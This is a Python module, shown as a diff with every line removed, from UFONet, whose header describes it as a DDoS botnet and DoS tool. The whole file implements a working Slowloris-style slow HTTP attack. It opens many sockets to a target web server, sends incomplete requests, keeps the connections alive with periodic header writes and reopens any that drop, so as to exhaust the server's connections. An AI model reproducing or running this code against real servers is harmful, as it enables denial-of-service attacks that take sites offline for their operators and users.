123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172 |
- """
- UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2018 - by psy (epsylon@riseup.net)
- You should have received a copy of the GNU General Public License along
- with UFONet; if not, write to the Free Software Foundation, Inc., 51
- Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
- """
- import time, sys, threading, socket, random, ssl
- def setupSocket(self, ip, port, method):
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(6)
- if port == "443":
- ss = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1)
- ss.connect((ip, port))
- else:
- sock.connect((ip, port))
- if method == "GET":
- sock.send("GET / \r\n".encode("utf-8"))
- else:
- sock.send("POST / \r\n".encode("utf-8"))
- return sock
- def tractor(self, ip, port, requests):
- for i in range(requests):
- try:
- method = 'GET'
- sock = setupSocket(self, ip, port, method)
- print "[Info] Firing 'tractor' beam from: LORIS -> Status: CONNECTED! -> 'Keeping socket open in time...'"
- except socket.error:
- break
- self.sockets.append(sock)
- while True:
- for sock in list(self.sockets):
- try:
-
- method = 'POST'
- sock.send("X-HTTP-Method: {}\r\n".format('PUT').encode("utf-8"))
- except socket.error:
- self.sockets.remove(sock)
- for i in range(requests - len(self.sockets)):
- print("[Info] Re-opening closed LORIS 'tractor' beam -> Status: RE-LINKED!")
- try:
- method = 'GET'
- sock = setupSocket(self, ip, port, method)
- if sock:
- self.sockets.append(sock)
- except socket.error:
- break
- time.sleep(10)
- class LORIS(object):
- def __init__(self):
- self.sockets = []
- def attacking(self, target, requests):
- print "\n[Info] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]\n"
- if target.startswith('http://'):
- target = target.replace('http://','')
- port = 80
- elif target.startswith('https://'):
- target = target.replace('https://','')
- port = 443
- ip = socket.gethostbyname(target)
- t = threading.Thread(target=tractor, args=(self, ip, port, requests))
- t.daemon = True
- t.start()
- time.sleep(10)
|